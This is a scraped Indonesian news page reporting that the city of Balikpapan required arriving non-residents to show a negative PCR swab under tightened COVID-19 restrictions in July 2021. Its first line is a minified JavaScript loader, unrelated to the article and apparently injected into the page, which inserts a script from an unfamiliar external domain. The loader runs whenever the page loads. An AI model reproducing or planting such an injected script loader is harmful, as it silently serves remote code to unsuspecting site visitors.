(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Timur

Pemko Balikpapan Wajibkan Pendatang Tunjukan Hasil Swab PCR Negatif


KANALKALIMANTAN.COM, BALIKPAPAN – Menimbang kondisi dan situasi makin mengganasnya Covid-19 di Kota Balikpapan, pemerintah kota (Pemko) setempat akhirnya menerapkan pengetatan pemberlakuan pembatasan kegiatan masyarakat (PPKM) mikro. Salah satu poinnya, yakni mewajibkan bagi warga pendatang menunjukan hasil negatif Swab PCR.

Kepala Satpol PP Balikpapan Zulkifli mengemukakan pengetatan bagi pendatang dilakukan di bandara dan pelabuhan, serta berlaku bagi warga pemegang identitas di luar Kota Balikpapan.

Zulkifli mengatakan, warga tersebut wajib menunjukan hasil negatif swab PCR 2×24 jam sebelum keberangkatan.
“Dikecualikan bagi penumpang transit atau tujuan luar Balikpapan,” katanya seperti dilansir Presisi.co -jaringan Suara.com pada Jumat (2/7/2021).

Baca juga: PENTING. Pelamar Formasi Satpol PP Banjarbaru Ada Ketentuan Tambahan, Ini Persyaratannya!

 

 

Sedangkan bagi warga yang memiliki KTP Balikpapan hanya diwajibkan menunjukan hasil negatif rapid antigen 2×24 jam sebelum keberangkatan.

Pemberlakuan aturan tersebut, katanya mengacu pada Instruksi Gubernur Kaltim 14/2021 yang mencantumkan pengetatan PPKM mikrio ini berlaku sejak 3-20 Juli 2021.

Untuk pemberlakuan PPKM mikro di Kota Balikpapan juga sudah tertuang dalam Surat Edaran 300/2589/Pem tentang Penguatan PPKM Mikro.

Jika dibandingkan dengan pemberlakuan PPKM darurat di Jakarta ada beberapa perbedaan mendasar, salah satunya mengenai jumlah kasus.

“Kalau kasus per hari menyentuh 697 kasus, baru diterapkan PPKM darurat. Kalau di Balikpapan hanya sekitar 200 kasus per hari,” ujarnya.

Kemudian di dalam surat edaran tersebut, terdapat beberapa kebijakan yang berubah.
Kebijakan tersebut meliputi penutupan seluruh fasilitas umum dan taman kota, pasar malam, wahana permainan anak, tempat wisata, fasilitas rekreasi.

Baca juga: Terjaring Razia Satpol PP Banjarmasin, Belasan Pasangan Bukan Suami Istri Diamankan

Tidak hanya itu, Satgas Covid-19 Kota Balikpapan juga meniadakan seluruh even termasuk resepsi pernikahan. Pun juga dengan jam operasional pusat perbelanjaan dan tempat makan yang batas operasional hanya diperbolehkan sampai pukul 20.00 Wita.

“Berbeda dengan Jakarta yang terapkan PPKM darurat, jadi harus tutup pukul 17.00 Wita,” ucapnya. (suara.com)

Editor : kk


Al Ghifari

Recent Posts

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

2 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

3 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

19 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

19 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

20 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

21 jam ago

This website uses cookies.